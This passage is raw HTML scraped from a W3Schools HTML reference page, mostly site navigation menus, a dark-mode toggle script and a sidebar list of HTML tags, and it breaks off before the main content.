href="/cpp/default.asp">Learn C++</a> <a class="w3-bar-item w3-button" href="/cs/index.php">Learn C#</a> <a class="w3-bar-item w3-button" href="/r/default.asp">Learn R</a> <a class="w3-bar-item w3-button" href="/kotlin/index.php">Learn Kotlin</a> <a class="w3-bar-item w3-button" href="/go/index.php">Learn Go</a> <a class="w3-bar-item w3-button" href="/django/index.php">Learn Django</a> <a class="w3-bar-item w3-button" href="/typescript/index.php">Learn TypeScript</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Server Side</h3> <a class="w3-bar-item w3-button" href="/sql/default.asp">Learn SQL</a> <a class="w3-bar-item w3-button" href="/mysql/default.asp">Learn MySQL</a> <a class="w3-bar-item w3-button" href="/php/default.asp">Learn PHP</a> <a class="w3-bar-item w3-button" href="/asp/default.asp">Learn ASP</a> <a class="w3-bar-item w3-button" href="/nodejs/default.asp">Learn Node.js</a> <a class="w3-bar-item w3-button" href="/nodejs/nodejs_raspberrypi.asp">Learn Raspberry Pi</a> <a class="w3-bar-item w3-button" href="/git/default.asp">Learn Git</a> <a class="w3-bar-item w3-button" href="/aws/index.php">Learn AWS Cloud</a> <h3 class="w3-margin-top">Web Building</h3> <a class="w3-bar-item w3-button" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTutorialsAcc', 'click');" title="Get Your Own Website With W3schools Spaces">Create a Website <span class="ribbon-topnav ws-yellow">NEW</span></a> <a class="w3-bar-item w3-button" href="/where_to_start.asp">Where To Start</a> <a class="w3-bar-item w3-button" href="/w3css/w3css_templates.asp">Web Templates</a> <a class="w3-bar-item w3-button" href="/browsers/default.asp">Web Statistics</a> <a class="w3-bar-item w3-button" href="/cert/default.asp">Web Certificates</a> <a class="w3-bar-item w3-button" href="/whatis/default.asp">Web Development</a> <a class="w3-bar-item w3-button" href="/tryit/default.asp">Code Editor</a> <a class="w3-bar-item w3-button" href="/typingspeed/default.asp">Test Your Typing Speed</a> <a class="w3-bar-item w3-button" href="/codegame/index.html" target="_blank">Play a Code Game</a> <a class="w3-bar-item w3-button" href="/cybersecurity/index.php">Cyber Security</a> <a class="w3-bar-item w3-button" href="/accessibility/index.php">Accessibility</a> </div> <div class="w3-col l3 m6 w3-hide-medium"> <h3 class="w3-margin-top">Data Analytics</h3> <a class="w3-bar-item w3-button" href="/ai/default.asp">Learn AI</a> <a class="w3-bar-item w3-button" href="/python/python_ml_getting_started.asp">Learn Machine Learning</a> <a class="w3-bar-item w3-button" href="/datascience/default.asp">Learn Data Science</a> <a class="w3-bar-item w3-button" href="/python/numpy/default.asp">Learn NumPy</a> <a class="w3-bar-item w3-button" href="/python/pandas/default.asp">Learn Pandas</a> <a class="w3-bar-item w3-button" href="/python/scipy/index.php">Learn SciPy</a> <a class="w3-bar-item w3-button" href="/python/matplotlib_intro.asp">Learn Matplotlib</a> <a class="w3-bar-item w3-button" href="/statistics/index.php">Learn Statistics</a> <a class="w3-bar-item w3-button" href="/excel/index.php">Learn Excel</a> <a class="w3-bar-item w3-button" href="/googlesheets/index.php">Learn Google Sheets</a> <h3 class="w3-margin-top">XML Tutorials</h3> <a class="w3-bar-item w3-button" href="/xml/default.asp">Learn XML</a> <a class="w3-bar-item w3-button" href="/xml/ajax_intro.asp">Learn XML AJAX</a> <a class="w3-bar-item w3-button" href="/xml/dom_intro.asp">Learn XML DOM</a> <a class="w3-bar-item w3-button" href="/xml/xml_dtd_intro.asp">Learn XML DTD</a> <a class="w3-bar-item w3-button" href="/xml/schema_intro.asp">Learn XML Schema</a> <a class="w3-bar-item w3-button" href="/xml/xsl_intro.asp">Learn XSLT</a> <a class="w3-bar-item w3-button" href="/xml/xpath_intro.asp">Learn XPath</a> <a class="w3-bar-item w3-button" href="/xml/xquery_intro.asp">Learn XQuery</a> </div> </div> </div> <br class="hidesm"> </nav> <nav id="nav_references" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('references')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>References</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">HTML</h3> <a class="w3-bar-item w3-button" href="/tags/default.asp">HTML Tag Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_html_browsersupport.asp">HTML Browser Support</a> <a class="w3-bar-item w3-button" href="/tags/ref_eventattributes.asp">HTML Event Reference</a> <a class="w3-bar-item w3-button" href="/colors/default.asp">HTML Color Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_attributes.asp">HTML Attribute Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_canvas.asp">HTML Canvas Reference</a> <a class="w3-bar-item w3-button" href="/graphics/svg_reference.asp">HTML SVG Reference</a> <a class="w3-bar-item w3-button" href="/graphics/google_maps_reference.asp">Google Maps Reference</a> <h3 class="w3-margin-top">CSS</h3> <a class="w3-bar-item w3-button" href="/cssref/default.asp">CSS Reference</a> <a class="w3-bar-item w3-button" href="/cssref/css3_browsersupport.asp">CSS Browser Support</a> <a class="w3-bar-item w3-button" href="/cssref/css_selectors.asp">CSS Selector Reference</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ref_all_classes.asp">Bootstrap 3 Reference</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_ref_all_classes.asp">Bootstrap 4 Reference</a> <a class="w3-bar-item w3-button" href="/w3css/w3css_references.asp">W3.CSS Reference</a> <a class="w3-bar-item w3-button" href="/icons/icons_reference.asp">Icon Reference</a> <a class="w3-bar-item w3-button" href="/sass/sass_functions_string.php">Sass Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">JavaScript</h3> <a class="w3-bar-item w3-button" href="/jsref/default.asp">JavaScript Reference</a> <a class="w3-bar-item w3-button" href="/jsref/default.asp">HTML DOM Reference</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_ref_overview.asp">jQuery Reference</a> <a class="w3-bar-item w3-button" href="/angular/angular_ref_directives.asp">AngularJS Reference</a> <a class="w3-bar-item w3-button" href="/appml/appml_reference.asp">AppML Reference</a> <a class="w3-bar-item w3-button" href="/w3js/w3js_references.asp">W3.JS Reference</a> <h3 class="w3-margin-top">Programming</h3> <a class="w3-bar-item w3-button" href="/python/python_reference.asp">Python Reference</a> <a class="w3-bar-item w3-button" href="/java/java_ref_keywords.asp">Java Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Server Side</h3> <a class="w3-bar-item w3-button" href="/sql/sql_ref_keywords.asp">SQL Reference</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_ref_functions.asp">MySQL Reference</a> <a class="w3-bar-item w3-button" href="/php/php_ref_overview.asp">PHP Reference</a> <a class="w3-bar-item w3-button" href="/asp/asp_ref_response.asp">ASP Reference</a> <h3 class="w3-margin-top">XML</h3> <a class="w3-bar-item w3-button" href="/xml/dom_nodetype.asp">XML DOM Reference</a> <a class="w3-bar-item w3-button" href="/xml/dom_http.asp">XML Http Reference</a> <a class="w3-bar-item w3-button" href="/xml/xsl_elementref.asp">XSLT Reference</a> <a class="w3-bar-item w3-button" href="/xml/schema_elements_ref.asp">XML Schema Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Character Sets</h3> <a class="w3-bar-item w3-button" href="/charsets/default.asp">HTML Character Sets</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ascii.asp">HTML ASCII</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ansi.asp">HTML ANSI</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ansi.asp">HTML Windows-1252</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_8859.asp">HTML ISO-8859-1</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_symbols.asp">HTML Symbols</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_utf8.asp">HTML UTF-8</a> </div> </div> <br class="hidesm"> </div> </nav> <nav id="nav_exercises" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('exercises')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>Exercises and Quizzes</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:155px;font-size:21px" href="/exercises/index.php">Exercises</a></h3> <a class="w3-bar-item w3-button" href="/html/html_exercises.asp">HTML Exercises</a> <a class="w3-bar-item w3-button" href="/css/css_exercises.asp">CSS Exercises</a> <a class="w3-bar-item w3-button" href="/js/js_exercises.asp">JavaScript Exercises</a> <a class="w3-bar-item w3-button" href="/sql/sql_exercises.asp">SQL Exercises</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_exercises.asp">MySQL Exercises</a> <a class="w3-bar-item w3-button" href="/php/php_exercises.asp">PHP Exercises</a> <a class="w3-bar-item w3-button" href="/python/python_exercises.asp">Python Exercises</a> <a class="w3-bar-item w3-button" href="/python/numpy/numpy_exercises.asp">NumPy Exercises</a> <a class="w3-bar-item w3-button" href="/python/pandas/pandas_exercises.asp">Pandas Exercises</a> <a class="w3-bar-item w3-button" href="/python/scipy/scipy_exercises.php">SciPy Exercises</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_exercises.asp">jQuery Exercises</a> <a class="w3-bar-item w3-button" href="/java/java_exercises.asp">Java Exercises</a> <a class="w3-bar-item w3-button" href="/cpp/cpp_exercises.asp">C++ Exercises</a> <a class="w3-bar-item w3-button" href="/cs/cs_exercises.asp">C# Exercises</a> <a class="w3-bar-item w3-button" href="/r/r_exercises.asp">R Exercises</a> <a class="w3-bar-item w3-button" href="/kotlin/kotlin_exercises.php">Kotlin Exercises</a> <a class="w3-bar-item w3-button" href="/go/go_exercises.php">Go Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_exercises.asp">Bootstrap Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_exercises.asp">Bootstrap 4 Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap5/bootstrap_exercises.php">Bootstrap 5 Exercises</a> <a class="w3-bar-item w3-button" href="/git/git_exercises.asp">Git Exercises</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:135px;font-size:21px" href="/quiztest/default.asp">Quizzes</a></h3> <a class="w3-bar-item w3-button" href="/html/html_quiz.asp" target="_top">HTML Quiz</a> <a class="w3-bar-item w3-button" href="/css/css_quiz.asp" target="_top">CSS Quiz</a> <a class="w3-bar-item w3-button" href="/js/js_quiz.asp" target="_top">JavaScript Quiz</a> <a class="w3-bar-item w3-button" href="/sql/sql_quiz.asp" target="_top">SQL Quiz</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_quiz.asp" target="_top">MySQL Quiz</a> <a class="w3-bar-item w3-button" href="/php/php_quiz.asp" target="_top">PHP Quiz</a> <a class="w3-bar-item w3-button" href="/python/python_quiz.asp" target="_top">Python Quiz</a> <a class="w3-bar-item w3-button" href="/python/numpy/numpy_quiz.asp" target="_top">NumPy Quiz</a> <a class="w3-bar-item w3-button" href="/python/pandas/pandas_quiz.asp" target="_top">Pandas Quiz</a> <a class="w3-bar-item w3-button" href="/python/scipy/scipy_quiz.php" target="_top">SciPy Quiz</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_quiz.asp" target="_top">jQuery Quiz</a> <a class="w3-bar-item w3-button" href="/java/java_quiz.asp" target="_top">Java Quiz</a> <a class="w3-bar-item w3-button" href="/cpp/cpp_quiz.asp" target="_top">C++ Quiz</a> <a class="w3-bar-item w3-button" href="/cs/cs_quiz.asp" target="_top">C# Quiz</a> <a class="w3-bar-item w3-button" href="/r/r_quiz.asp" target="_top">R Quiz</a> <a class="w3-bar-item w3-button" href="/kotlin/kotlin_quiz.php" target="_top">Kotlin Quiz</a> <a class="w3-bar-item w3-button" href="/xml/xml_quiz.asp" target="_top">XML Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_quiz.asp" target="_top">Bootstrap Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_quiz.asp" target="_top">Bootstrap 4 Quiz</a> <a class="w3-bar-item w3-button" href="/bootstrap5/bootstrap_quiz.php" target="_top">Bootstrap 5 Quiz</a> <a class="w3-bar-item w3-button" href="/cybersecurity/cybersecurity_quiz.php">Cyber Security Quiz</a> <a class="w3-bar-item w3-button" href="/accessibility/accessibility_quiz.php">Accessibility Quiz</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:135px;font-size:21px" href="https://courses.w3schools.com/" target="_blank">Courses</a></h3> <!-- cert <a class="w3-bar-item w3-button" href="/cert/cert_html_new.asp" target="_top">HTML Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_css.asp" target="_top">CSS Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_javascript.asp" target="_top">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_sql.asp" target="_top">SQL Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_php.asp" target="_top">PHP Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_python.asp" target="_top">Python Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_bootstrap.asp" target="_top">Bootstrap Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_jquery.asp" target="_top">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_xml.asp" target="_top">XML Certificate</a> --> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/html" target="_blank">HTML Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/css" target="_blank">CSS Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/javascript" target="_blank">JavaScript Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/programs/front-end" target="_blank">Front End Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/sql" target="_blank">SQL Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/php" target="_blank">PHP Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/python" target="_blank">Python Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/numpy-fundamentals" target="_blank">NumPy Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/pandas-fundamentals" target="_blank">Pandas Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/programs/data-analytics" target="_blank">Data Analytics Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/jquery" target="_blank">jQuery Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/java" target="_blank">Java Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/cplusplus" target="_blank">C++ Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/c-sharp" target="_blank">C# Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/r-fundamentals" target="_blank">R Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/xml" target="_blank">XML Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/introduction-to-cyber-security" target="_blank">Cyber Security Course</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/courses/accessibility-fundamentals" target="_blank">Accessibility Course</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:150px;font-size:21px" href="https://courses.w3schools.com/browse/certifications" target="_blank">Certificates</a></h3> <!-- cert <a class="w3-bar-item w3-button" href="/cert/cert_html_new.asp" target="_top">HTML Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_css.asp" target="_top">CSS Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_javascript.asp" target="_top">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_sql.asp" target="_top">SQL Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_php.asp" target="_top">PHP Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_python.asp" target="_top">Python Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_bootstrap.asp" target="_top">Bootstrap Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_jquery.asp" target="_top">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="/cert/cert_xml.asp" target="_top">XML Certificate</a> --> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/html-certification-exam" target="_blank">HTML Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/css-certification-exam" target="_blank">CSS Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/javascript-certification-exam" target="_blank">JavaScript Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/front-end-certification-exam" target="_blank">Front End Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/sql-certification-exam" target="_blank">SQL Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/php-certification-exam" target="_blank">PHP Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/python-certificaftion-exam" target="_blank">Python Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/data-science-certification-exam" target="_blank">Data Science Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/bootstrap-3-certification-exam" target="_blank">Bootstrap 3 Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/bootstrap-4-certification-exam" target="_blank">Bootstrap 4 Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/jquery-certification-exam" target="_blank">jQuery Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/java-certification-exam" target="_blank">Java Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/c-certification-exam" target="_blank">C++ Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/react-certification-exam" target="_blank">React Certificate</a> <a class="w3-bar-item w3-button" href="https://courses.w3schools.com/browse/certifications/courses/xml-certification-exam" target="_blank">XML Certificate</a> </div> </div> <br class="hidesm"> </div> </nav> </div> </div> <div id="myAccordion" class="w3-card-2 w3-center w3-hide-large w3-hide-medium ws-grey" style="width: 100%; position: absolute; display: none; padding-top: 44px;"> <a href="javascript:void(0)" onclick="w3_close()" class="w3-button w3-xxlarge w3-right">×</a><br> <div class="w3-container w3-padding-32"> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('tutorials');" href="javascript:void(0);">Tutorials <i class="fa fa-caret-down"></i></a> <div id="sectionxs_tutorials" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('references')" href="javascript:void(0);">References <i class="fa fa-caret-down"></i></a> <div id="sectionxs_references" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" onclick="open_xs_menu('exercises')" href="javascript:void(0);">Exercises <i class="fa fa-caret-down"></i></a> <div id="sectionxs_exercises" class="w3-left-align w3-show" style="background-color:#282A35;color:white;"></div> <a class="w3-button w3-block" style="font-size:22px;" href="/cert/default.asp" target="_blank">Paid Courses</a> <a class="w3-button w3-block" style="font-size:22px;" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTutorialsAcc', 'click');" title="Get Your Own Website With W3schools Spaces">Spaces</a> <a class="w3-button w3-block" style="font-size:22px;" target="_blank" href="https://www.w3schools.com/videos/index.php" onclick="ga('send', 'event', 'Videos' , 'fromTopnavMain')" title="Video Tutorials">Videos</a> <a class="w3-button w3-block" style="font-size:22px;" href="https://shop.w3schools.com" target="_blank">Shop</a> <a class="w3-button w3-block" style="font-size:22px;" href="/pro/index.php">Pro</a> </div> </div> <script> ( function setThemeCheckboxes() { var x = localStorage.getItem("preferredmode"); var y = localStorage.getItem("preferredpagemode"); if (x == "dark") { document.getElementById("radio_darkcode").checked = true; } if (y == "dark") { document.getElementById("radio_darkpage").checked = true; } })(); function mouseoverdarkicon() { if(window.matchMedia("(pointer: coarse)").matches) { return false; } var a = document.getElementById("darkmodemenu"); a.style.top = "44px"; } function mouseoutofdarkicon() { var a = document.getElementById("darkmodemenu"); a.style.top = "-40px"; } function changepagetheme(n) { var a = document.getElementById("radio_darkcode"); var b = document.getElementById("radio_darkpage"); document.body.className = document.body.className.replace("darktheme", ""); document.body.className = document.body.className.replace("darkpagetheme", ""); document.body.className = document.body.className.replace(" ", " "); if (a.checked && b.checked) { localStorage.setItem("preferredmode", "light"); localStorage.setItem("preferredpagemode", "light"); a.checked = false; b.checked = false; } else { document.body.className += " darktheme"; document.body.className += " darkpagetheme"; localStorage.setItem("preferredmode", "dark"); localStorage.setItem("preferredpagemode", "dark"); a.checked = true; b.checked = true; } } function click_darkpage() { var b = document.getElementById("radio_darkpage"); if (b.checked) { document.body.className += " darkpagetheme"; document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredpagemode", "dark"); } else { document.body.className = document.body.className.replace("darkpagetheme", ""); document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredpagemode", "light"); } } function click_darkcode() { var a = document.getElementById("radio_darkcode"); if (a.checked) { document.body.className += " darktheme"; document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredmode", "dark"); } else { document.body.className = document.body.className.replace("darktheme", ""); document.body.className = document.body.className.replace(" ", " "); localStorage.setItem("preferredmode", "light"); } } </script> <div class="w3-sidebar w3-collapse" id="sidenav" style="top: 44px; display: none;"> <div id="leftmenuinner" style="padding-top: 44px;"> <div id="leftmenuinnerinner"> <!-- <a href='javascript:void(0)' onclick='close_menu()' class='w3-button w3-hide-large w3-large w3-display-topright' style='right:16px;padding:3px 12px;font-weight:bold;'>×</a>--> <h2 class="left"><span class="left_h2">HTML</span> Reference</h2> <a target="_top" href="default.asp">HTML by Alphabet</a> <a target="_top" href="ref_byfunc.asp">HTML by Category</a> <a target="_top" href="ref_html_browsersupport.asp">HTML Browser Support</a> <a target="_top" href="ref_attributes.asp">HTML Attributes</a> <a target="_top" href="ref_standardattributes.asp">HTML Global Attributes</a> <a target="_top" href="ref_eventattributes.asp">HTML Events</a> <a target="_top" href="ref_colornames.asp">HTML Colors</a> <a target="_top" href="ref_canvas.asp">HTML Canvas</a> <a target="_top" href="ref_av_dom.asp">HTML Audio/Video</a> <a target="_top" href="ref_charactersets.asp">HTML Character Sets</a> <a target="_top" href="ref_html_dtd.asp">HTML Doctypes</a> <a target="_top" href="ref_urlencode.asp">HTML URL Encode</a> <a target="_top" href="ref_language_codes.asp">HTML Language Codes</a> <a target="_top" href="ref_country_codes.asp">HTML Country Codes</a> <a target="_top" href="ref_httpmessages.asp">HTTP Messages</a> <a target="_top" href="ref_httpmethods.asp">HTTP Methods</a> <a target="_top" href="ref_pxtoemconversion.asp">PX to EM Converter</a> <a target="_top" href="ref_keyboardshortcuts.asp">Keyboard Shortcuts</a> <br> <div class="notranslate"> <h2 class="left"><span class="left_h2">HTML</span> Tags</h2> <a target="_top" href="tag_comment.asp"><!--></a> <a target="_top" href="tag_doctype.asp"><!DOCTYPE></a> <a target="_top" href="tag_a.asp"><a></a> <a target="_top" href="tag_abbr.asp"><abbr></a> <a target="_top" href="tag_acronym.asp"><acronym></a> <a target="_top" href="tag_address.asp"><address></a> <a target="_top" href="tag_applet.asp"><applet></a> <a target="_top" href="tag_area.asp"><area></a> <a target="_top" href="tag_article.asp"><article></a> <a target="_top" href="tag_aside.asp"><aside></a> <a target="_top" href="tag_audio.asp"><audio></a> <a target="_top" href="tag_b.asp"><b></a> <a target="_top" href="tag_base.asp"><base></a> <a target="_top" href="tag_basefont.asp"><basefont></a> <a target="_top" href="tag_bdi.asp"><bdi></a> <a target="_top" href="tag_bdo.asp"><bdo></a> <a target="_top" href="tag_big.asp"><big></a> <a target="_top" href="tag_blockquote.asp"><blockquote></a> <a target="_top" href="tag_body.asp"><body></a> <a target="_top" href="tag_br.asp"><br></a> <a target="_top" href="tag_button.asp"><button></a> <a target="_top" href="tag_canvas.asp"><canvas></a> <a target="_top" href="tag_caption.asp"><caption></a> <a target="_top" href="tag_center.asp"><center></a> <a target="_top" href="tag_cite.asp"><cite></a> <a target="_top" href="tag_code.asp"><code></a> <a target="_top" href="tag_col.asp"><col></a> <a target="_top" href="tag_colgroup.asp"><colgroup></a> <a target="_top" href="tag_data.asp"><data></a> <a target="_top" href="tag_datalist.asp"><datalist></a> <a target="_top" href="tag_dd.asp"><dd></a> <a target="_top" href="tag_del.asp"><del></a> <a target="_top" href="tag_details.asp"><details></a> <a target="_top" href="tag_dfn.asp"><dfn></a> <a target="_top" href="tag_dialog.asp"><dialog></a> <a target="_top" href="tag_dir.asp"><dir></a> <a target="_top" href="tag_div.asp"><div></a> <a target="_top" href="tag_dl.asp"><dl></a> <a target="_top" href="tag_dt.asp"><dt></a> <a target="_top" href="tag_em.asp"><em></a> <a target="_top" href="tag_embed.asp"><embed></a> <a target="_top" href="tag_fieldset.asp"><fieldset></a> <a target="_top" href="tag_figcaption.asp"><figcaption></a> <a target="_top" href="tag_figure.asp"><figure></a> <a target="_top" href="tag_font.asp"><font></a> <a target="_top" href="tag_footer.asp"><footer></a> <a target="_top" href="tag_form.asp"><form></a> <a target="_top" href="tag_frame.asp"><frame></a> <a target="_top" href="tag_frameset.asp"><frameset></a> <a target="_top" href="tag_hn.asp"><h1> - <h6></a> <a target="_top" href="tag_head.asp"><head></a> <a target="_top" href="tag_header.asp"><header></a> <a target="_top" href="tag_hr.asp"><hr></a> <a target="_top" href="tag_html.asp"><html></a> <a target="_top" href="tag_i.asp"><i></a> <a target="_top" href="tag_iframe.asp"><iframe></a> <a target="_top" href="tag_img.asp"><img></a> <a target="_top" href="tag_input.asp"><input></a> <a target="_top" href="tag_ins.asp"><ins></a> <a target="_top" href="tag_kbd.asp"><kbd></a> <a target="_top" href="tag_label.asp"><label></a> <a target="_top" href="tag_legend.asp"><legend></a> <a target="_top" href="tag_li.asp"><li></a> <a target="_top" href="tag_link.asp"><link></a> <a target="_top" href="tag_main.asp"><main></a> <a target="_top" href="tag_map.asp"><map></a> <a target="_top" href="tag_mark.asp"><mark></a> <a target="_top" href="tag_meta.asp"><meta></a> <a target="_top" href="tag_meter.asp"><meter></a> <a target="_top" href="tag_nav.asp"><nav></a> <a target="_top" href="tag_noframes.asp"><noframes></a> <a target="_top" href="tag_noscript.asp"><noscript></a> <a target="_top" href="tag_object.asp"><object></a> <a target="_top" href="tag_ol.asp"><ol></a> <a target="_top" href="tag_optgroup.asp"><optgroup></a> <a target="_top" href="tag_option.asp"><option></a> <a target="_top" href="tag_output.asp"><output></a> <a target="_top" href="tag_p.asp" class="active"><p></a> <a target="_top" href="tag_param.asp"><param></a> <a target="_top" href="tag_picture.asp"><picture></a> <a target="_top" href="tag_pre.asp"><pre></a> <a target="_top" href="tag_progress.asp"><progress></a> <a target="_top" href="tag_q.asp"><q></a> <a target="_top" href="tag_rp.asp"><rp></a> <a target="_top" href="tag_rt.asp"><rt></a> <a target="_top" href="tag_ruby.asp"><ruby></a> <a target="_top" href="tag_s.asp"><s></a> <a target="_top" href="tag_samp.asp"><samp></a> <a target="_top" href="tag_script.asp"><script></a> <a target="_top" href="tag_section.asp"><section></a> <a target="_top" href="tag_select.asp"><select></a> <a target="_top" href="tag_small.asp"><small></a> <a target="_top" href="tag_source.asp"><source></a> <a target="_top" href="tag_span.asp"><span></a> <a target="_top" href="tag_strike.asp"><strike></a> <a target="_top" href="tag_strong.asp"><strong></a> <a target="_top" href="tag_style.asp"><style></a> <a target="_top" href="tag_sub.asp"><sub></a> <a target="_top" href="tag_summary.asp"><summary></a> <a target="_top" href="tag_sup.asp"><sup></a> <a target="_top" href="tag_svg.asp"><svg></a> <a target="_top" href="tag_table.asp"><table></a> <a target="_top" href="tag_tbody.asp"><tbody></a> <a target="_top" href="tag_td.asp"><td></a> <a target="_top" href="tag_template.asp"><template></a> <a target="_top" href="tag_textarea.asp"><textarea></a> <a target="_top" href="tag_tfoot.asp"><tfoot></a> <a target="_top" href="tag_th.asp"><th></a> <a target="_top" href="tag_thead.asp"><thead></a> <a target="_top" href="tag_time.asp"><time></a> <a target="_top" href="tag_title.asp"><title></a> <a target="_top" href="tag_tr.asp"><tr></a> <a target="_top" href="tag_track.asp"><track></a> <a target="_top" href="tag_tt.asp"><tt></a> <a target="_top" href="tag_u.asp"><u></a> <a target="_top" href="tag_ul.asp"><ul></a> <a target="_top" href="tag_var.asp"><var></a> <a target="_top" href="tag_video.asp"><video></a> <a target="_top" href="tag_wbr.asp"><wbr></a> </div> <br><br> </div> </div> </div> <div class="w3-main w3-light-grey" id="belowtopnav" style="margin-left: 220px; padding-top: 44px;"> <div class="w3-row w3-white"> <div class="w3-col l10 m12" id="main"> <div id="mainLeaderboard" 